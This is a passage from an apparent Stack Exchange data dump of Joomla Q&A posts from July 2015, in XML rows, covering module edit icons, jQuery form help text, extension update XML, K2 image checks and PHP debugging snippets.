square);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.btn.jmodedit {&#xA;    width: 15px !important;&#xA;    height: 15px !important;&#xA;    background: #000000 !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does show the icon (as a black square) when hovering over the module - see below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CzrOj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CzrOj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no custom js files, no custom overrides, and only one custom.css (which I have deleted to ule out issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few 3d party plugins such as RS Forms, Akeeba Backup and SJ Twitter. However I have disabled each of these individually and the problem still persists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, what's going on?&#xA;Secondly, how do I get the edit module icon to appear normal again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-07-24T13:44:20.027" Title="Front end module edit" Tags="|joomla-3.x|module-display|administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10908" PostTypeId="1" AcceptedAnswerId="10910" CreationDate="2015-07-23T14:42:29.893" Score="0" ViewCount="320" Body="&lt;p&gt;I am trying to add help text to a form field. When the user clicks in the field, corresponding help text will be shown  just below the field. As i have said before i am newbie when it comes to jquery. The jquery code that i have added to my form is as shown.&lt;pre&gt;$(&quot;#username&quot;).focus(function() {&#xA;  $(&quot;.name-help&quot;).slideDown(500);&#xA;}).blur(function() {&#xA;  $(&quot;.name-help&quot;).slideUp(500);&#xA;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$(&quot;.email&quot;).focus(function() {&#xA;  $(&quot;.email-help&quot;).slideDown(500);&#xA;}).blur(function() {&#xA;  $(&quot;.email-help&quot;).slideUp(500);&#xA;});&lt;/pre&gt;&#xA;The problem is i am not sure if that's the correct way of embedding jquery functions in php + html code. This is not working. When i inspect the page i get the following errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. $ is not a function agent-register&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Empty string passed to getElementById()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to fix this? What i am doing wrong here? Or is there an alternative way to achieve this? Any help will be appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5507" LastActivityDate="2015-07-23T15:02:19.873" Title="Adding help text to a form field using Jquery" Tags="|joomla-3.3.x|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10909" PostTypeId="2" ParentId="10907" CreationDate="2015-07-23T14:52:30.903" Score="1" Body="&lt;p&gt;Lets try sticking with the default Protostar template for the time being. The &lt;em&gt;template.css&lt;/em&gt; file for this also includes the Bootstrap CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you have a look at the image below, I've put a red box around the important areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your inspector, if you click on the &lt;code&gt;a&lt;/code&gt; tag, you should see the applied styling in the right hand side. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The first section is dynamic styling (not really important in your case).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The second section of styling comes from the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;media/system/css/frontediting.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The last section comes from the template.css file which is all the Bootstrap styling for the button.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you don't see the styling from section 2 and 3 in the right hand side red box, ensure both files exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BD0NH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BD0NH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to continue the chat:&#xA;&lt;a href=&quot;http://chat.stackexchange.com/rooms/26061/discussion-between-johnny-s-and-lodder&quot;&gt;http://chat.stackexchange.com/rooms/26061/discussion-between-johnny-s-and-lodder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-23T14:52:30.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10910" PostTypeId="2" ParentId="10908" CreationDate="2015-07-23T15:02:19.873" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;You're using &lt;code&gt;$(&quot;.email&quot;)&lt;/code&gt; but there is only an ID assigned to this input field, not a class, so you need to replace it with &lt;code&gt;$(&quot;#email&quot;)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You need to wrap you code inside &lt;code&gt;jQuery(document).ready(function($){ ... });&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've altered your code for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;    $('#username').focus(function() {&#xA;        $('.name-help').slideDown(500);&#xA;    }).blur(function() {&#xA;        $('.name-help').slideUp(500);&#xA;    });&#xA;&#xA;    $('#email').focus(function() {&#xA;        $('.email-help').slideDown(500);&#xA;    }).blur(function() {&#xA;        $('.email-help').slideUp(500);&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also provided you with a live demo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/k7jrzxgu/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/k7jrzxgu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-23T15:02:19.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10911" PostTypeId="1" CreationDate="2015-07-23T15:03:43.810" Score="2" ViewCount="818" Body="&lt;p&gt;I have a site that need to have two sites in one, it is one company with two brands the one is news paper and the other one is tv(video). They have corresponding articles or videos, that feature on both sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up 2 templates but when I click to go to the article on the video it shows the article with the news paper template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set it up that if an article is featured on both templates that when it is published one time and shows on both templates?&lt;/p&gt;&#xA;" OwnerUserId="5620" LastEditorUserId="126" LastEditDate="2016-04-26T05:50:42.847" LastActivityDate="2016-06-23T08:17:59.087" Title="2 domains, 2 templates one cms with same content" Tags="|joomla-3.x|cms|multi-sites|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10912" PostTypeId="2" ParentId="10906" CreationDate="2015-07-23T15:15:22.117" Score="0" Body="&lt;p&gt;@Lodder provided the following links in a comment:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/lms-king&quot; rel=&quot;nofollow&quot;&gt;LMS King&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/lms-lite&quot; rel=&quot;nofollow&quot;&gt;LMS Lite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you to Lodder for the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to these, my own research has led me to &lt;a href=&quot;http://www.joomdle.com/&quot; rel=&quot;nofollow&quot;&gt;Joomdle&lt;/a&gt;, which is a package integrating Joomla and Moodle.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2015-07-23T15:15:22.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10913" PostTypeId="1" AcceptedAnswerId="10932" CreationDate="2015-07-23T16:32:48.370" Score="0" ViewCount="664" Body="&lt;p&gt;I tried for an hour, but I can't find the solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When my site form or link that missed the forward slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I found the link below, but there is no solution for the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=2302843&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?p=2302843&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5389" LastEditorUserId="126" LastEditDate="2016-01-21T22:26:48.410" LastActivityDate="2016-01-21T22:26:48.410" Title="Global URI object missing slash after base url" Tags="|url|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10915" PostTypeId="2" ParentId="4377" CreationDate="2015-07-24T06:58:24.597" Score="1" Body="&lt;p&gt;It is very odd indeed. I think the problem comes from the creator. Then, there is nothing else we can do from downstream. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve it, just manually download and update it from &lt;a href=&quot;http://www.t3-framework.org/downloads.html&quot; rel=&quot;nofollow&quot;&gt;T3 for Joomla!&lt;/a&gt;. At the end of the downloads list, you can find &lt;strong&gt;T3 Framework plugin&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-24T06:58:24.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10916" PostTypeId="2" ParentId="4673" CreationDate="2015-07-24T07:44:46.027" Score="2" Body="&lt;p&gt;You must configure your &quot;/log&quot; folder to a absolute links of your server, in the backend of joomla. For example : /www/public_html/log.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;create a .php file and paste this code to know what is the absolute path to your server. Upload and call it on your browser: ex: www.yourdomaine.com/path.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $path = getcwd();&#xA;   echo &quot;Your Absolute Path is:&quot; . $path;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5624" LastEditorUserId="168" LastEditDate="2015-07-24T08:11:59.770" LastActivityDate="2015-07-24T08:11:59.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10917" PostTypeId="1" AcceptedAnswerId="10918" CreationDate="2015-07-24T08:18:16.900" Score="1" ViewCount="742" Body="&lt;p&gt;I develope a really big eCommerce component for Joomla 3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noted that other developers like jomres or Akeeba backup have, from some tine now, a version of their components for Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess, that like me, they use Joomla API and MVC extensively and I don´t think they have reprogramed again fo WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I turn my joomla component into a WP plugin without refactoring?&#xA;Is that posible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-07-24T08:28:23.557" Title="Turn my joomla component into a wordpress plugin" Tags="|component|development|wordpress|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10918" PostTypeId="2" ParentId="10917" CreationDate="2015-07-24T08:28:23.557" Score="3" Body="&lt;p&gt;Unfortunately no, this is not possible. Joomla and Wordpress are completely different CMS's with different code structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is build using MVC(Model, View, Controller) where as Wordpress, well I can't even think of a word to describe the architecture. &lt;strong&gt;&quot;Odd&quot;&lt;/strong&gt; would be the first thing that springs to mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a complete re-write would be required. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-24T08:28:23.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10919" PostTypeId="2" ParentId="4705" CreationDate="2015-07-24T09:25:21.073" Score="1" Body="&lt;p&gt;Disable html filter for introtext or just add &quot;img&quot; to exception list of introtext html filter.&#xA;You can find it in k2 settings&lt;/p&gt;&#xA;" OwnerUserId="5625" LastActivityDate="2015-07-24T09:25:21.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10920" PostTypeId="2" ParentId="10907" CreationDate="2015-07-24T13:44:20.027" Score="1" Body="&lt;p&gt;Found the solution. T3 framework has an option to use 'Legacy Mode'. This is under Template &amp;gt; General &amp;gt; Legacy Compatible&lt;/p&gt;&#xA;&lt;p&gt;With this set as 'No' I couldn't see the edi icon.&#xA;Wit this set as 'Yes' I can.&lt;/p&gt;&#xA;&lt;p&gt;According to the official T3 docs;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Legacy Compatible&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When switched on this allows the template to parse&#xA;older Bootstrap 2 and Font Awesome 3 styles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No idea why this is an issue as I have other T3 sites with a similar setup - who knows!&lt;/p&gt;&#xA;&lt;p&gt;Finally fixed! Hope this helps somebody. Thanks to @Lodder for all his help.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-24T13:44:20.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10921" PostTypeId="1" CreationDate="2015-07-24T15:31:06.953" Score="0" ViewCount="1249" Body="&lt;p&gt;I am using Chrome version 44.0 (most up-to-date version), and I am using Joomla 3.4.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sorted by the order using the drop down menu as well as the 2-triangles icon on the left. I see the 3 dots come up dark after sorting, as it is allowing me to drag and drop, but when I click on the 3 dots and drag, I end up selecting texts. I can't even re-order the modules or articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when the list is not ordered, I get  a little pop-up message saying that I need to sort the list to reorder, and I do that, and then I still can't re-order the modules as I keep selecting texts. I tried clicking once, clicking twice, pressing up or down, but it won't drag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to reorder this?&lt;/p&gt;&#xA;" OwnerUserId="5626" LastActivityDate="2015-08-05T17:09:32.340" Title="Unable to use Drag and Drop Ordering Feature in Articles or Modules" Tags="|joomla-3.4|article-manager|module-manager|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10922" PostTypeId="2" ParentId="4377" CreationDate="2015-07-24T16:00:58.513" Score="1" Body="&lt;p&gt;I went through the changelog on &lt;a href=&quot;https://github.com/t3framework/t3/blob/master/CHANGELOG.md&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt; and cannot find any references to bug fixes for the extension manager, therefore I don't think it's a big with the extension manager itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe at the time, it was due to an issue with their update XML file. Either an incorrect download URL or target platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd suggest doing is downloading version 2.4.8(template) from Github:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/t3framework/t3/releases/tag/v2.4.8&quot; rel=&quot;nofollow&quot;&gt;https://github.com/t3framework/t3/releases/tag/v2.4.8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purge the Joomla cache, and then trying to find an update for T3 again. It should show you one for v2.4.9(template).&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-24T16:00:58.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10924" PostTypeId="2" ParentId="9051" CreationDate="2015-07-25T05:27:24.713" Score="3" Body="&lt;p&gt;After some testing, it appears that this happens when the language files are placed directly under the extension's root directory, and not inside a &lt;code&gt;/language/&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I move the language files to &lt;code&gt;/language/en-GB/&lt;/code&gt; and &lt;code&gt;language/es-ES&lt;/code&gt;, and modify the XML manifest like this, it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_mymodule.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_mymodule.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.mod_mymodule.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.mod_mymodule.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all strings are parsed, also on the initial installation.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-25T05:27:24.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10925" PostTypeId="1" AcceptedAnswerId="10936" CreationDate="2015-07-25T15:32:59.373" Score="1" ViewCount="677" Body="&lt;p&gt;When rolling out an update for an extension, one must of course define the new version in the Update XML file located on the server, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;update&amp;gt;&#xA;  &amp;lt;name&amp;gt;JJ Shoutbox&amp;lt;/name&amp;gt;&#xA;  &amp;lt;description&amp;gt;JJ Shoutbox&amp;lt;/description&amp;gt;&#xA;  &amp;lt;element&amp;gt;mod_shoutbox&amp;lt;/element&amp;gt;&#xA;  &amp;lt;type&amp;gt;module&amp;lt;/type&amp;gt;&#xA;  &amp;lt;version&amp;gt;4.0.3&amp;lt;/version&amp;gt;&#xA;  &amp;lt;downloads&amp;gt;&#xA;    &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;PATH_TO_FILE&amp;lt;/downloadurl&amp;gt;&#xA;  &amp;lt;/downloads&amp;gt; &#xA;  &amp;lt;maintainer&amp;gt;JoomJunk&amp;lt;/maintainer&amp;gt;&#xA;  &amp;lt;maintainerurl&amp;gt;http://www.joomjunk.co.uk&amp;lt;/maintainerurl&amp;gt;&#xA;  &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.3&quot;/&amp;gt;&#xA;  &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;  &amp;lt;client_id&amp;gt;0&amp;lt;/client_id&amp;gt;&#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally, what I do is, for every version, I duplicate the above code. As you can imagine, the more updates release, the longer the XML file becomes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, do I have to duplicate the above code for each release, or do I only need to define it for the latest version?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-07-25T16:46:27.377" LastActivityDate="2015-07-27T08:06:11.373" Title="Maintaining Update XML for an extension" Tags="|joomla-3.x|update|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10927" PostTypeId="1" CreationDate="2015-07-26T13:25:52.213" Score="0" ViewCount="1186" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.favthemes.com/extensions/product/simple-responsive-slideshow-free-responsive-joomla-module.html&quot; rel=&quot;nofollow&quot;&gt;SIMPLE SLIDESHOW&lt;/a&gt; of FAVTHEMES with the &lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii/configuration&quot; rel=&quot;nofollow&quot;&gt;Purity III&lt;/a&gt;. I have a problem with the size of slideshow, is too big, It takes all screen. I think is problem of Purity, but I dont know how to change it. The web is site is the &lt;a href=&quot;http://www.cartography.gr/OpenCartography&quot; rel=&quot;nofollow&quot;&gt;OpenCartography&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="45" LastActivityDate="2015-07-26T14:02:13.027" Title="SIMPLE SLIDESHOW of favthemes to Purity III" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10928" PostTypeId="2" ParentId="10927" CreationDate="2015-07-26T14:02:13.027" Score="2" Body="&lt;p&gt;The position you have currently assigned the slideshow to is full width. Try assigning it to a different position. If I rightly remember, the position you want to try is &lt;code&gt;feature-2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may also be some settings in the Template Options to change the width of the position you have currently assigned the slideshow to&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-26T14:02:13.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10930" PostTypeId="1" CreationDate="2015-07-26T15:27:36.423" Score="0" ViewCount="179" Body="&lt;p&gt;I need to check if a K2 article image exist in a third party extension. If the image exist, it should be displayed otherwise, a default image should be fetched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making the image path with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imagePath = &quot;/media/k2/items/cache/&quot;.md5(&quot;Image&quot; . $item-&amp;gt;object_id ).&quot;_XS.jpg&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;$item-&amp;gt;object_id&lt;/code&gt; is the article id) when the image exists, it is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several methods to check if the image exists with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (file_exists('http://' . $_SERVER['SERVER_NAME'] . $imagePath)) {}&#xA;&#xA;if (@getimagesize('http://' . $_SERVER['SERVER_NAME'] . $imagePath)) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFile::exists('http://' . $_SERVER['SERVER_NAME'] . $imagePath)){}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The two first ones don't work and return false even when image exists and the last one breaks the whole page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I check if the K2 article image exist?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2015-07-26T15:36:12.973" LastActivityDate="2015-07-27T07:57:40.430" Title="Check if K2 image exists in third party exention" Tags="|templates|overrides|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10932" PostTypeId="2" ParentId="10913" CreationDate="2015-07-26T22:52:52.403" Score="2" Body="&lt;p&gt;I haven't seen any of your code, but there is one thing you need to remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;code&gt;JUri::root()&lt;/code&gt; or &lt;code&gt;JUri::base()&lt;/code&gt; etc, if you use &lt;code&gt;true&lt;/code&gt;, then the forward slash will be omitted, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUri::root()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will return:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/something/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/something/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUri::root(true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will return:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;something&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-07-27T07:25:07.463" LastActivityDate="2015-07-27T07:25:07.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10933" PostTypeId="1" AcceptedAnswerId="10937" CreationDate="2015-07-27T00:11:43.700" Score="2" ViewCount="119" Body="&lt;p&gt;is there any way to see the data that's being submitted in a content form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use the onContentBeforeSave plugin event to do some actions based on the content in the form, but I'm not sure exactly what the data looks like so I know how to access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to see the raw data that is being processed/submitted by the form?&lt;/p&gt;&#xA;" OwnerUserId="5632" LastActivityDate="2015-07-27T09:41:17.540" Title="See content form data submitted" Tags="|joomla-3.x|plugin|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10934" PostTypeId="2" ParentId="10933" CreationDate="2015-07-27T07:51:22.890" Score="1" Body="&lt;p&gt;In Joomla, there are no specific debugging tools. You can work with any PHP development tool to inspect internal structures. Most developers work with Eclipse PHP or PHPStorm, among others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To develop plugin, you can develop your logging routines to keep track of generated structured. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = array(&#xA;    'text_file' =&amp;gt; 'my-log.log';&#xA;);&#xA;&#xA;jimport('joomla.log.logger.formattedtext');&#xA;$logger = new JLogLoggerFormattedtext($config);&#xA;$comment = ' - ' . print_r($data, true);&#xA;&#xA;$entry = new JLogEntry($comment, $JLog::INFO);&#xA;$logger-&amp;gt;addEntry($entry); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this way, a hand log file is generated in logs/ folder.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-27T07:51:22.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10935" PostTypeId="2" ParentId="10930" CreationDate="2015-07-27T07:57:40.430" Score="1" Body="&lt;p&gt;Most PHP file/image checking methods work on a local image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an image is stored in your site by a third-party extension, then you can also check it with a local path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an image is an external source and you have an Url, you have to download it to a temporary file, validate, return the status and delete the temporary file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imagefile = JInstallerHelper::downloadPackage($image_url);&#xA;list($width, $height, $type, $attr) = getimagesize($imagefile);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-27T07:57:40.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10936" PostTypeId="2" ParentId="10925" CreationDate="2015-07-27T08:06:11.373" Score="2" Body="&lt;p&gt;Joomla Installer iterates through all XML update nodes, looking for the latest matching version. It does not remembers previous valued from the &quot;head&quot; note. In addition, when the Installer adapter install the extensions, it reads all values from the node. Thus, it is not possible to optimize the XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a best practice, I recommend to work with a Joomla download manager that creates XML update files. In my operation, I work with Akeeba Releases.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-27T08:06:11.373" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10937" PostTypeId="2" ParentId="10933" CreationDate="2015-07-27T09:41:17.540" Score="2" Body="&lt;p&gt;To see the POST data from your form the code below at the beginning of your onContentBeforeSave function should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($_POST); die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another option would be to investigate the POST request in a browser like Chrome (&lt;a href=&quot;https://developer.chrome.com/devtools/docs/network&quot; rel=&quot;nofollow&quot;&gt;https://developer.chrome.com/devtools/docs/network&lt;/a&gt;) or Firefox.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-07-27T09:41:17.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
